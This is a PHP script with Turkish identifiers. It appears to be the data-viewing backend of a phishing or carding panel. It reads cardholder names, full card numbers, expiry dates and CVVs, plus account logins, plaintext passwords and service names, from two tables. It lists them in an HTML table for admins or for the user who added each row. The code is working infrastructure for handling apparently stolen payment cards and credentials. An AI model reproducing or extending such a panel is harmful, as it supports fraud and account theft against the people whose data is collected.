<?php
session_start();
date_default_timezone_set('Europe/Istanbul');
require_once __DIR__ . '/../../database/connect.php';

$kul_id = $_SESSION['kul_id'] ?? '';
$k_rol = $_SESSION['k_rol'] ?? 'user';

if (empty($kul_id)) {
    echo '<tr><td colspan="7" class="text-center py-4" style="color:#f00;">Oturum hatası.</td></tr>';
    exit;
}

$tumVeriler = [];

// 1. veriler tablosundan kart bilgilerini çek
try {
    if ($k_rol === 'admin') {
        $q = $db->query("SELECT *, 'Kart' as veri_tipi FROM veriler ORDER BY id DESC LIMIT 100");
    } else {
        $q = $db->prepare("SELECT *, 'Kart' as veri_tipi FROM veriler WHERE ekleyen = ? ORDER BY id DESC LIMIT 100");
        $q->execute([$kul_id]);
    }
    $kartlar = $q->fetchAll(PDO::FETCH_ASSOC);
    foreach ($kartlar as $k) {
        $tumVeriler[] = [
            'id' => $k['id'],
            'tip' => 'Kart',
            'sutun1' => $k['kart_adsoyad'] ?? '-',
            'sutun2' => $k['kart_no'] ?? '-',
            'sutun3' => ($k['kart_skt'] ?? '-') . ' | ' . ($k['kart_cvv'] ?? '-'),
            'tarih' => $k['tarih'] ?? '',
            'tablo' => 'veriler'
        ];
    }
} catch (Exception $e) {}

// 2. hesaplar tablosundan hesap bilgilerini çek
try {
    if ($k_rol === 'admin') {
        $q = $db->query("SELECT * FROM hesaplar ORDER BY id DESC LIMIT 100");
    } else {
        $q = $db->prepare("SELECT * FROM hesaplar WHERE ekleyen = ? ORDER BY id DESC LIMIT 100");
        $q->execute([$kul_id]);
    }
    $hesaplar = $q->fetchAll(PDO::FETCH_ASSOC);
    foreach ($hesaplar as $h) {
        $tumVeriler[] = [
            'id' => $h['id'],
            'tip' => 'Hesap',
            'sutun1' => $h['loginid'] ?? $h['email'] ?? '-',
            'sutun2' => $h['psw'] ?? $h['sifre'] ?? '-',
            'sutun3' => $h['hizmet'] ?? '-',
            'tarih' => $h['tarih'] ?? '',
            'tablo' => 'hesaplar'
        ];
    }
} catch (Exception $e) {}

if (empty($tumVeriler)) {
    echo '<tr><td colspan="7" class="text-center py-4" style="color:#666;">Veri bulunamadı.</td></tr>';
    exit;
}

foreach ($tumVeriler as $v) {
    $tarih = !empty($v['tarih']) ? date('d.m.Y H:i', strtotime($v['tarih'])) : '-';
    $tipClass = $v['tip'] === 'Kart' ? 'badge-warning' : 'badge-info';
    
    echo '<tr>';
    echo '<td>' . $v['id'] . '</td>';
    echo '<td><span class="badge ' . $tipClass . '">' . $v['tip'] . '</span></td>';
    echo '<td>' . htmlspecialchars($v['sutun1']) . '</td>';
    echo '<td>' . htmlspecialchars($v['sutun2']) . '</td>';
    echo '<td>' . htmlspecialchars($v['sutun3']) . '</td>';
    echo '<td>' . $tarih . '</td>';
    echo '<td><button class="btn btn-sm btn-danger" onclick="silVeri(' . $v['id'] . ', \'' . $v['tablo'] . '\')"><i class="fa fa-trash"></i></button></td>';
    echo '</tr>';
}
?>
